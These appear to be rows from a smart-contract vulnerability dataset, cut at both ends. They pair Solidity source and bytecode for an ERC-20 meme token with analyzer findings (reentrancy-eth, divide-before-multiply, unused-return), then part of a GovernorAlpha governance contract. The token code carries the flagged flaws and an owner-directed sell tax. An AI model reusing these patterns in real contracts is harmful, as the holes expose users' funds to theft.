m_Owner = address(0);
}
modifier onlyOwner() {
require(_msgSender() == m_Owner, "Ownable: caller is not the owner");
_;
}
}
contract Taxable is Ownable {
using SafeMath for uint256;
uint256[] m_TaxAlloc;
address payable[] m_TaxAddresses;
mapping (address => uint256) private m_TaxIdx;
uint256 public m_TotalAlloc;
function initTax() internal virtual {
m_TaxAlloc = new uint24[](0);
m_TaxAddresses = new address payable[](0);
m_TaxAlloc.push(0);
m_TaxAddresses.push(payable(address(0)));
}
function payTaxes(uint256 _eth, uint256 _d) internal virtual {
for (uint i = 1; i < m_TaxAlloc.length; i++) {
uint256 _alloc = m_TaxAlloc[i];
address payable _address = m_TaxAddresses[i];
uint256 _amount = _eth.mul(_alloc).div(_d);
if (_amount > 1){
_address.transfer(_amount);
}
}
}
function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() {
uint _idx = m_TaxIdx[_address];
if (_idx == 0) {
require(m_TotalAlloc.add(_alloc) <= 10500);
m_TaxAlloc.push(_alloc);
m_TaxAddresses.push(_address);
m_TaxIdx[_address] = m_TaxAlloc.length - 1;
m_TotalAlloc = m_TotalAlloc.add(_alloc);
} else { // update alloc for this address
uint256 _priorAlloc = m_TaxAlloc[_idx];
require(m_TotalAlloc.add(_alloc).sub(_priorAlloc) <= 10500);
m_TaxAlloc[_idx] = _alloc;
m_TotalAlloc = m_TotalAlloc.add(_alloc).sub(_priorAlloc);
}
}
function totalTaxAlloc() internal virtual view returns (uint256) {
return m_TotalAlloc;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract SOUTHPARKTHUGS is Context, IERC20, Taxable {
using SafeMath for uint256;
// TOKEN
uint256 private constant TOTAL_SUPPLY = 100000000000 * 10**9;
string private m_Name = "SOUTHPARK THUGS";
string private m_Symbol = "SPTHU";
uint8 private m_Decimals = 9;
// EXCHANGES
address private m_UniswapV2Pair;
IUniswapV2Router02 private m_UniswapV2Router;
// TRANSACTIONS
uint256 private m_WalletLimit = TOTAL_SUPPLY.div(25); // 4% supply
uint256 private m_TxLimit = TOTAL_SUPPLY.div(100); // 1% supply
bool private m_Liquidity = false;
event SetTxLimit(uint TxLimit);
// MISC
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
uint256 private m_LastEthBal = 0;
uint256 private m_Launched = 1753633194;
bool private m_IsSwap = false;
bool private _limitTX = true;
uint256 private pMax = 100000; // max alloc percentage
modifier lockTheSwap {
m_IsSwap = true;
_;
m_IsSwap = false;
}
receive() external payable {}
constructor () {
initTax();
m_Balances[address(this)] = TOTAL_SUPPLY;
m_ExcludedAddresses[owner()] = true;
m_ExcludedAddresses[address(this)] = true;
setTaxAlloc(payable(msg.sender), 10000);
emit Transfer(address(0), address(this), TOTAL_SUPPLY);
}
function name() public view returns (string memory) {
return m_Name;
}
function symbol() public view returns (string memory) {
return m_Symbol;
}
function decimals() public view returns (uint8) {
return m_Decimals;
}
function totalSupply() public pure override returns (uint256) {
return TOTAL_SUPPLY;
}
function balanceOf(address _account) public view override returns (uint256) {
return m_Balances[_account];
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_msgSender(), _recipient, _amount);
return true;
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
return m_Allowances[_owner][_spender];
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
_approve(_msgSender(), _spender, _amount);
return true;
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
_transfer(_sender, _recipient, _amount);
_approve(_sender, _msgSender(), m_Allowances[_sender][_msgSender()].sub(_amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _isBuy(address _sender) private view returns (bool) {
return _sender == m_UniswapV2Pair;
}
function _trader(address _sender, address _recipient) private view returns (bool) {
return !(m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient]);
}
function _txRestricted(address _sender, address _recipient) private view returns (bool) {
return _sender == m_UniswapV2Pair && _recipient != address(m_UniswapV2Router) && !m_ExcludedAddresses[_recipient];
}
function _walletCapped(address _recipient) private view returns (bool) {
return _recipient != m_UniswapV2Pair && _recipient != address(m_UniswapV2Router);
}
function _checkTX() private view returns (uint256){
return m_TxLimit;
}
function setTxLimit(uint24 limit) external onlyOwner() {
require(limit <= 100, "You cannot set the tx limit to less than 1% of total supply. Nice try!");
m_TxLimit = TOTAL_SUPPLY.div(limit);
}
function setWalletLimit(uint24 limit) external onlyOwner() {
require(limit <= 25, "You cannot set the wallet limit to less than 4% of total supply. Nice try!");
m_WalletLimit = TOTAL_SUPPLY.div(limit);
}
function CurrentTxLimit() public view returns (uint256) {
return m_TxLimit;
}
function CurrentWalletLimit() public view returns (uint256) {
return m_WalletLimit;
}
function _approve(address _owner, address _spender, uint256 _amount) private {
require(_owner != address(0), "ERC20: approve from the zero address");
require(_spender != address(0), "ERC20: approve to the zero address");
m_Allowances[_owner][_spender] = _amount;
emit Approval(_owner, _spender, _amount);
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
require(_sender != address(0), "ERC20: transfer from the zero address");
require(_recipient != address(0), "ERC20: transfer to the zero address");
require(_amount > 0, "Transfer amount must be greater than zero");
if(_walletCapped(_recipient))
require(balanceOf(_recipient) < m_WalletLimit);
uint256 _taxes = 0;
if (_trader(_sender, _recipient)) {
require(block.timestamp >= m_Launched);
if (_txRestricted(_sender, _recipient))
require(_amount <= _checkTX());
_taxes = _getTaxes(_sender, _recipient, _amount);
if (!_isBuy(_sender))
_tax();
}
_updateBalances(_sender, _recipient, _amount, _taxes);
}
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
uint256 _netAmount = _amount.sub(_taxes);
m_Balances[_sender] = m_Balances[_sender].sub(_amount);
m_Balances[_recipient] = m_Balances[_recipient].add(_netAmount);
m_Balances[address(this)] = m_Balances[address(this)].add(_taxes);
emit Transfer(_sender, _recipient, _netAmount);
}
function _getTaxes(address _sender, address _recipient, uint256 _amount) private view returns (uint256) {
uint256 _ret = 0;
if (m_ExcludedAddresses[_sender] || m_ExcludedAddresses[_recipient] || _isBuy(_sender)) {
return _ret;
}
_ret = _ret.add(_amount.div(pMax).mul(totalTaxAlloc()));
return _ret;
}
function _tax() private {
if (!m_IsSwap) {
uint256 _tokenBalance = balanceOf(address(this));
if (_tokenBalance > 0) {
_swapTokensForETH(_tokenBalance);
_disperseEth();
}
}
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
address[] memory _path = new address[](2);
_path[0] = address(this);
_path[1] = m_UniswapV2Router.WETH();
_approve(address(this), address(m_UniswapV2Router), _amount);
m_UniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
_amount,
0,
_path,
address(this),
block.timestamp
);
}
function _getTaxDenominator() private view returns (uint) {
uint _ret = 0;
_ret = _ret.add(totalTaxAlloc());
return _ret;
}
function _disperseEth() private {
uint256 _eth = address(this).balance;
if (_eth <= m_LastEthBal)
return;
uint256 _newEth = _eth.sub(m_LastEthBal);
uint _d = _getTaxDenominator();
if (_d < 1)
return;
payTaxes(_newEth, _d);
m_LastEthBal = address(this).balance;
}
function addLiquidity() external onlyOwner() {
require(!m_Liquidity,"Liquidity already added.");
uint256 _ethBalance = address(this).balance;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
m_UniswapV2Router = _uniswapV2Router;
_approve(address(this), address(0x000000000000000000000000000000000000dEaD), TOTAL_SUPPLY);
_transfer(address(this),address(0x000000000000000000000000000000000000dEaD), TOTAL_SUPPLY.div(2));
_approve(address(this), address(m_UniswapV2Router), TOTAL_SUPPLY);
m_UniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
m_UniswapV2Router.addLiquidityETH{value: _ethBalance}(address(this),balanceOf(address(this)),0,0,address(msg.sender),block.timestamp);
IERC20(m_UniswapV2Pair).approve(address(m_UniswapV2Router), type(uint).max);
m_Liquidity = true;
}
function launch(uint256 _timer) external onlyOwner() {
m_Launched = block.timestamp.add(_timer);
}
}
| 0x60806040526004361061010c5760003560e01c8063715018a61161009557806395d89b411161006457806395d89b41146102d7578063a9059cbb146102ec578063dd62ed3e1461030c578063e8078d9414610352578063fbe6a0891461036757600080fd5b8063715018a61461025a57806385b12c7c1461026f578063899c3ea31461028f5780638da5cb5b146102af57600080fd5b806318160ddd116100dc57806318160ddd146101b057806323b872dd146101cc578063313ce567146101ec57806354486ac31461020e57806370a082311461022457600080fd5b806291ef3b1461011857806306fdde031461013c57806307ac5dc51461015e578063095ea7b31461018057600080fd5b3661011357005b600080fd5b34801561012457600080fd5b50600a545b6040519081526020015b60405180910390f35b34801561014857600080fd5b5061015161037c565b6040516101339190611537565b34801561016a57600080fd5b5061017e61017936600461158c565b61040e565b005b34801561018c57600080fd5b506101a061019b3660046115c6565b6104f3565b6040519015158152602001610133565b3480156101bc57600080fd5b5068056bc75e2d63100000610129565b3480156101d857600080fd5b506101a06101e73660046115f2565b61050a565b3480156101f857600080fd5b5060075460405160ff9091168152602001610133565b34801561021a57600080fd5b5061012960045481565b34801561023057600080fd5b5061012961023f366004611633565b6001600160a01b03166000908152600d602052604090205490565b34801561026657600080fd5b5061017e610574565b34801561027b57600080fd5b5061017e61028a366004611650565b6105f1565b34801561029b57600080fd5b5061017e6102aa36600461158c565b610634565b3480156102bb57600080fd5b506000546040516001600160a01b039091168152602001610133565b3480156102e357600080fd5b50610151610714565b3480156102f857600080fd5b506101a06103073660046115c6565b610723565b34801561031857600080fd5b50610129610327366004611669565b6001600160a01b039182166000908152600e6020908152604080832093909416825291909152205490565b34801561035e57600080fd5b5061017e610730565b34801561037357600080fd5b50600954610129565b60606005805461038b906116a2565b80601f01602080910402602001604051908101604052809291908181526020018280546103b7906116a2565b80156104045780601f106103d957610100808354040283529160200191610404565b820191906000526020600020905b8154815290600101906020018083116103e757829003601f168201915b5050505050905090565b6000546001600160a01b0316336001600160a01b03161461044a5760405162461bcd60e51b8152600401610441906116dd565b60405180910390fd5b60648162ffffff1611156104d55760405162461bcd60e51b815260206004820152604660248201527f596f752063616e6e6f742073657420746865207478206c696d697420746f206c60448201527f657373207468616e203125206f6620746f74616c20737570706c792e204e696360648201526565207472792160d01b608482015260a401610441565b6104ed68056bc75e2d6310000062ffffff8316610b31565b600a5550565b6000610500338484610c14565b5060015b92915050565b6000610517848484610d38565b6105698433610564856040518060600160405280602881526020016118a8602891396001600160a01b038a166000908152600e602090815260408083203384529091529020549190610f14565b610c14565b5060015b9392505050565b6000546001600160a01b0316336001600160a01b0316146105a75760405162461bcd60e51b8152600401610441906116dd565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316336001600160a01b0316146106245760405162461bcd60e51b8152600401610441906116dd565b61062e4282610b73565b60105550565b6000546001600160a01b0316336001600160a01b0316146106675760405162461bcd60e51b8152600401610441906116dd565b60198162ffffff1611156106f65760405162461bcd60e51b815260206004820152604a60248201527f596f752063616e6e6f7420736574207468652077616c6c6574206c696d69742060448201527f746f206c657373207468616e203425206f6620746f74616c20737570706c792e606482015269204e696365207472792160b01b608482015260a401610441565b61070e68056bc75e2d6310000062ffffff8316610b31565b60095550565b60606006805461038b906116a2565b6000610500338484610d38565b6000546001600160a01b0316336001600160a01b0316146107635760405162461bcd60e51b8152600401610441906116dd565b600b5460ff16156107b65760405162461bcd60e51b815260206004820152601860248201527f4c697175696469747920616c72656164792061646465642e00000000000000006044820152606401610441565b600880546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915547906107f73061dead68056bc75e2d63100000610c14565b6108173061dead61081268056bc75e2d631000006002610b31565b610d38565b6008546108389030906001600160a01b031668056bc75e2d63100000610c14565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561087157600080fd5b505afa158015610885573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108a99190611712565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108f157600080fd5b505afa158015610905573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109299190611712565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b15801561097157600080fd5b505af1158015610985573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109a99190611712565b600780546001600160a01b0392831661010002610100600160a81b03199091161790556008541663f305d71983306109f6816001600160a01b03166000908152600d602052604090205490565b6040516001600160e01b031960e086901b1681526001600160a01b039092166004830152602482015260006044820181905260648201523360848201524260a482015260c4016060604051808303818588803b158015610a5557600080fd5b505af1158015610a69573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a8e919061172f565b505060075460085460405163095ea7b360e01b81526001600160a01b039182166004820152600019602482015261010090920416915063095ea7b390604401602060405180830381600087803b158015610ae757600080fd5b505af1158015610afb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1f919061175d565b5050600b805460ff1916600117905550565b600061056d83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f4e565b600080610b808385611795565b90508381101561056d5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610441565b600061056d83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610f14565b6001600160a01b038316610c765760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610441565b6001600160a01b038216610cd75760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610441565b6001600160a01b038381166000818152600e602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d9c5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610441565b6001600160a01b038216610dfe5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610441565b60008111610e605760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610441565b610e6982610f7c565b15610e94576009546001600160a01b0383166000908152600d602052604090205410610e9457600080fd5b6000610ea08484610fb3565b15610f0257601054421015610eb457600080fd5b610ebe8484610ffa565b15610ed257600a54821115610ed257600080fd5b610edd848484611056565b6007549091506001600160a01b038581166101009092041614610f0257610f026110ea565b610f0e8484848461111f565b50505050565b60008184841115610f385760405162461bcd60e51b81526004016104419190611537565b506000610f4584866117ad565b95945050505050565b60008183610f6f5760405162461bcd60e51b81526004016104419190611537565b506000610f4584866117c4565b6007546000906001600160a01b0383811661010090920416148015906105045750506008546001600160a01b039081169116141590565b6001600160a01b0382166000908152600c602052604081205460ff1680610ff257506001600160a01b0382166000908152600c602052604090205460ff165b159392505050565b6007546000906001600160a01b038481166101009092041614801561102d57506008546001600160a01b03838116911614155b801561056d5750506001600160a01b03166000908152600c602052604090205460ff1615919050565b6001600160a01b0383166000908152600c6020526040812054819060ff168061109757506001600160a01b0384166000908152600c602052604090205460ff165b806110b457506007546001600160a01b0386811661010090920416145b156110c057905061056d565b610f456110e36110cf60045490565b6012546110dd908790610b31565b90611209565b8290610b73565b60115460ff1661111d57306000908152600d6020526040902054801561111b5761111381611288565b61111b611408565b505b565b600061112b8383610bd2565b6001600160a01b0386166000908152600d60205260409020549091506111519084610bd2565b6001600160a01b038087166000908152600d602052604080822093909355908616815220546111809082610b73565b6001600160a01b0385166000908152600d60205260408082209290925530815220546111ac9083610b73565b306000908152600d602090815260409182902092909255518281526001600160a01b0386811692908816917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a35050505050565b60008261121857506000610504565b600061122483856117e6565b90508261123185836117c4565b1461056d5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610441565b6011805460ff1916600117905560408051600280825260608201835260009260208301908036833701905050905030816000815181106112ca576112ca611805565b6001600160a01b03928316602091820292909201810191909152600854604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561131e57600080fd5b505afa158015611332573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113569190611712565b8160018151811061136957611369611805565b6001600160a01b03928316602091820292909201015260085461138f9130911684610c14565b60085460405163791ac94760e01b81526001600160a01b039091169063791ac947906113c890859060009086903090429060040161181b565b600060405180830381600087803b1580156113e257600080fd5b505af11580156113f6573d6000803e3d6000fd5b50506011805460ff1916905550505050565b600f54479081116114165750565b600061142d600f5483610bd290919063ffffffff16565b9050600061143961145c565b9050600181101561144957505050565b611453828261146b565b505047600f5550565b6000806105046110e360045490565b60015b6001548110156115325760006001828154811061148d5761148d611805565b906000526020600020015490506000600283815481106114af576114af611805565b60009182526020822001546001600160a01b031691506114d9856114d38886611209565b90610b31565b9050600181111561151c576040516001600160a01b0383169082156108fc029083906000818181858888f1935050505015801561151a573d6000803e3d6000fd5b505b505050808061152a9061188c565b91505061146e565b505050565b600060208083528351808285015260005b8181101561156457858101830151858201604001528201611548565b81811115611576576000604083870101525b50601f01601f1916929092016040019392505050565b60006020828403121561159e57600080fd5b813562ffffff8116811461056d57600080fd5b6001600160a01b038116811461111b57600080fd5b600080604083850312156115d957600080fd5b82356115e4816115b1565b946020939093013593505050565b60008060006060848603121561160757600080fd5b8335611612816115b1565b92506020840135611622816115b1565b929592945050506040919091013590565b60006020828403121561164557600080fd5b813561056d816115b1565b60006020828403121561166257600080fd5b5035919050565b6000806040838503121561167c57600080fd5b8235611687816115b1565b91506020830135611697816115b1565b809150509250929050565b600181811c908216806116b657607f821691505b602082108114156116d757634e487b7160e01b600052602260045260246000fd5b50919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60006020828403121561172457600080fd5b815161056d816115b1565b60008060006060848603121561174457600080fd5b8351925060208401519150604084015190509250925092565b60006020828403121561176f57600080fd5b8151801515811461056d57600080fd5b634e487b7160e01b600052601160045260246000fd5b600082198211156117a8576117a861177f565b500190565b6000828210156117bf576117bf61177f565b500390565b6000826117e157634e487b7160e01b600052601260045260246000fd5b500490565b60008160001904831182151516156118005761180061177f565b500290565b634e487b7160e01b600052603260045260246000fd5b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b8181101561186b5784516001600160a01b031683529383019391830191600101611846565b50506001600160a01b03969096166060850152505050608001529392505050565b60006000198214156118a0576118a061177f565b506001019056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220dd5772e468d147fbacf4bb088ff410f000535c8795000e2543feef3b051cebe964736f6c63430008090033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}} | 1,104 |
0xF82Ab670Fce68E67E6c69C38B8241f5B9d1956f5 | // SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity >=0.6.0;
pragma experimental ABIEncoderV2;
contract GovernorAlpha {
/// @notice The name of this contract
string public constant name = "Compound Governor Alpha";
/// @notice The number of votes in support of a proposal required in order for a quorum to be reached and for a vote to succeed
function quorumVotes() public view returns (uint) {
return div256(comp.totalSupply(), 25);
} // 4% of ZONE
/// @notice The number of votes required in order for a voter to become a proposer
function proposalThreshold() public view returns (uint) {
return div256(comp.totalSupply(), 1000);
} // 0.1% of ZONE
/// @notice The maximum number of actions that can be included in a proposal
function proposalMaxOperations() public pure returns (uint) { return 10; } // 10 actions
/// @notice The delay before voting on a proposal may take place, once proposed
function votingDelay() public pure returns (uint) { return 1; } // 1 block
/// @notice The duration of voting on a proposal, in blocks
function votingPeriod() public pure returns (uint) { return 17280; } // ~3 days in blocks (assuming 15s blocks)
/// @notice The address of the Compound Protocol Timelock
TimelockInterface public timelock;
/// @notice The address of the Compound governance token
CompInterface public comp;
/// @notice The address of the Governor Guardian
address public guardian;
/// @notice The total number of proposals
uint public proposalCount;
struct Proposal {
/// @notice Unique id for looking up a proposal
uint id;
/// @notice Creator of the proposal
address proposer;
/// @notice The timestamp that the proposal will be available for execution, set once the vote succeeds
uint eta;
/// @notice the ordered list of target addresses for calls to be made
address[] targets;
/// @notice The ordered list of values (i.e. msg.value) to be passed to the calls to be made
uint[] values;
/// @notice The ordered list of function signatures to be called
string[] signatures;
/// @notice The ordered list of calldata to be passed to each call
bytes[] calldatas;
/// @notice The block at which voting begins: holders must delegate their votes prior to this block
uint startBlock;
/// @notice The block at which voting ends: votes must be cast prior to this block
uint endBlock;
/// @notice Current number of votes in favor of this proposal
uint forVotes;
/// @notice Current number of votes in opposition to this proposal
uint againstVotes;
/// @notice Flag marking whether the proposal has been canceled
bool canceled;
/// @notice Flag marking whether the proposal has been executed
bool executed;
/// @notice Receipts of ballots for the entire set of voters
mapping (address => Receipt) receipts;
}
/// @notice Ballot receipt record for a voter
struct Receipt {
/// @notice Whether or not a vote has been cast
bool hasVoted;
/// @notice Whether or not the voter supports the proposal
bool support;
/// @notice The number of votes the voter had, which were cast
uint256 votes;
}
/// @notice Possible states that a proposal may be in
enum ProposalState {
Pending,
Active,
Canceled,
Defeated,
Succeeded,
Queued,
Expired,
Executed
}
/// @notice The official record of all proposals ever proposed
mapping (uint => Proposal) public proposals;
/// @notice The latest proposal for each proposer
mapping (address => uint) public latestProposalIds;
/// @notice The EIP-712 typehash for the contract's domain
bytes32 public constant DOMAIN_TYPEHASH = keccak256("EIP712Domain(string name,uint256 chainId,address verifyingContract)");
/// @notice The EIP-712 typehash for the ballot struct used by the contract
bytes32 public constant BALLOT_TYPEHASH = keccak256("Ballot(uint256 proposalId,bool support)");
/// @notice An event emitted when a new proposal is created
event ProposalCreated(uint id, address proposer, address[] targets, uint[] values, string[] signatures, bytes[] calldatas, uint startBlock, uint endBlock, string description);
/// @notice An event emitted when a vote has been cast on a proposal
event VoteCast(address voter, uint proposalId, bool support, uint votes);
/// @notice An event emitted when a proposal has been canceled
event ProposalCanceled(uint id);
/// @notice An event emitted when a proposal has been queued in the Timelock
event ProposalQueued(uint id, uint eta);
/// @notice An event emitted when a proposal has been executed in the Timelock
event ProposalExecuted(uint id);
constructor(address timelock_, address comp_, address guardian_) public {
timelock = TimelockInterface(timelock_);
comp = CompInterface(comp_);
guardian = guardian_;
}
function propose(address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas, string memory description) public returns (uint) {
require(comp.getPriorVotes(msg.sender, sub256(block.number, 1)) >= proposalThreshold(), "GovernorAlpha::propose: proposer votes below proposal threshold");
require(targets.length == values.length && targets.length == signatures.length && targets.length == calldatas.length, "GovernorAlpha::propose: proposal function information arity mismatch");
require(targets.length != 0, "GovernorAlpha::propose: must provide actions");
require(targets.length <= proposalMaxOperations(), "GovernorAlpha::propose: too many actions");
uint latestProposalId = latestProposalIds[msg.sender];
if (latestProposalId != 0) {
ProposalState proposersLatestProposalState = state(latestProposalId);
require(proposersLatestProposalState != ProposalState.Active, "GovernorAlpha::propose: one live proposal per proposer, found an already active proposal");
require(proposersLatestProposalState != ProposalState.Pending, "GovernorAlpha::propose: one live proposal per proposer, found an already pending proposal");
}
uint startBlock = add256(block.number, votingDelay());
uint endBlock = add256(startBlock, votingPeriod());
proposalCount++;
Proposal memory newProposal = Proposal({
id: proposalCount,
proposer: msg.sender,
eta: 0,
targets: targets,
values: values,
signatures: signatures,
calldatas: calldatas,
startBlock: startBlock,
endBlock: endBlock,
forVotes: 0,
againstVotes: 0,
canceled: false,
executed: false
});
proposals[newProposal.id] = newProposal;
latestProposalIds[newProposal.proposer] = newProposal.id;
emit ProposalCreated(newProposal.id, msg.sender, targets, values, signatures, calldatas, startBlock, endBlock, description);
return newProposal.id;
}
function queue(uint proposalId) public {
require(state(proposalId) == ProposalState.Succeeded, "GovernorAlpha::queue: proposal can only be queued if it is succeeded");
Proposal storage proposal = proposals[proposalId];
uint eta = add256(block.timestamp, timelock.delay());
for (uint i = 0; i < proposal.targets.length; i++) {
_queueOrRevert(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], eta);
}
proposal.eta = eta;
emit ProposalQueued(proposalId, eta);
}
function _queueOrRevert(address target, uint value, string memory signature, bytes memory data, uint eta) internal {
require(!timelock.queuedTransactions(keccak256(abi.encode(target, value, signature, data, eta))), "GovernorAlpha::_queueOrRevert: proposal action already queued at eta");
timelock.queueTransaction(target, value, signature, data, eta);
}
function execute(uint proposalId) public payable {
require(state(proposalId) == ProposalState.Queued, "GovernorAlpha::execute: proposal can only be executed if it is queued");
Proposal storage proposal = proposals[proposalId];
proposal.executed = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.executeTransaction{value: proposal.values[i]}(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalExecuted(proposalId);
}
function cancel(uint proposalId) public {
ProposalState state = state(proposalId);
require(state != ProposalState.Executed, "GovernorAlpha::cancel: cannot cancel executed proposal");
Proposal storage proposal = proposals[proposalId];
require(msg.sender == guardian || comp.getPriorVotes(proposal.proposer, sub256(block.number, 1)) < proposalThreshold(), "GovernorAlpha::cancel: proposer above threshold");
proposal.canceled = true;
for (uint i = 0; i < proposal.targets.length; i++) {
timelock.cancelTransaction(proposal.targets[i], proposal.values[i], proposal.signatures[i], proposal.calldatas[i], proposal.eta);
}
emit ProposalCanceled(proposalId);
}
function getActions(uint proposalId) public view returns (address[] memory targets, uint[] memory values, string[] memory signatures, bytes[] memory calldatas) {
Proposal storage p = proposals[proposalId];
return (p.targets, p.values, p.signatures, p.calldatas);
}
function getReceipt(uint proposalId, address voter) public view returns (Receipt memory) {
return proposals[proposalId].receipts[voter];
}
function state(uint proposalId) public view returns (ProposalState) {
require(proposalCount >= proposalId && proposalId > 0, "GovernorAlpha::state: invalid proposal id");
Proposal storage proposal = proposals[proposalId];
if (proposal.canceled) {
return ProposalState.Canceled;
} else if (block.number <= proposal.startBlock) {
return ProposalState.Pending;
} else if (block.number <= proposal.endBlock) {
return ProposalState.Active;
} else if (proposal.forVotes <= proposal.againstVotes || proposal.forVotes < quorumVotes()) {
return ProposalState.Defeated;
} else if (proposal.eta == 0) {
return ProposalState.Succeeded;
} else if (proposal.executed) {
return ProposalState.Executed;
} else if (block.timestamp >= add256(proposal.eta, timelock.GRACE_PERIOD())) {
return ProposalState.Expired;
} else {
return ProposalState.Queued;
}
}
function castVote(uint proposalId, bool support) public {
return _castVote(msg.sender, proposalId, support);
}
function castVoteBySig(uint proposalId, bool support, uint8 v, bytes32 r, bytes32 s) public {
bytes32 domainSeparator = keccak256(abi.encode(DOMAIN_TYPEHASH, keccak256(bytes(name)), getChainId(), address(this)));
bytes32 structHash = keccak256(abi.encode(BALLOT_TYPEHASH, proposalId, support));
bytes32 digest = keccak256(abi.encodePacked("\x19\x01", domainSeparator, structHash));
address signatory = ecrecover(digest, v, r, s);
require(signatory != address(0), "GovernorAlpha::castVoteBySig: invalid signature");
return _castVote(signatory, proposalId, support);
}
function _castVote(address voter, uint proposalId, bool support) internal {
require(state(proposalId) == ProposalState.Active, "GovernorAlpha::_castVote: voting is closed");
Proposal storage proposal = proposals[proposalId];
Receipt storage receipt = proposal.receipts[voter];
require(receipt.hasVoted == false, "GovernorAlpha::_castVote: voter already voted");
uint256 votes = comp.getPriorVotes(voter, proposal.startBlock);
if (support) {
proposal.forVotes = add256(proposal.forVotes, votes);
} else {
proposal.againstVotes = add256(proposal.againstVotes, votes);
}
receipt.hasVoted = true;
receipt.support = support;
receipt.votes = votes;
emit VoteCast(voter, proposalId, support, votes);
}
function __acceptAdmin() public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.acceptAdmin();
}
function __abdicate() public {
require(msg.sender == guardian, "GovernorAlpha::__abdicate: sender must be gov guardian");
guardian = address(0);
}
function __setTimelockPendingAdmin(address newPendingAdmin) public {
require(msg.sender == guardian, "GovernorAlpha::__acceptAdmin: sender must be gov guardian");
timelock.setPendingAdmin(newPendingAdmin);
}
function add256(uint256 a, uint256 b) internal pure returns (uint) {
uint c = a + b;
require(c >= a, "addition overflow");
return c;
}
function sub256(uint256 a, uint256 b) internal pure returns (uint) {
require(b <= a, "subtraction underflow");
return a - b;
}
function div256(uint256 a, uint256 b) internal pure returns (uint) {
require(b > 0, "division by zero");
uint256 c = a / b;
return c;
}
function getChainId() internal pure returns (uint) {
uint chainId;
assembly { chainId := chainid() }
return chainId;
}
}
interface TimelockInterface {
function delay() external view returns (uint);
function GRACE_PERIOD() external view returns (uint);
function acceptAdmin() external;
function setPendingAdmin(address pendingAdmin_) external;
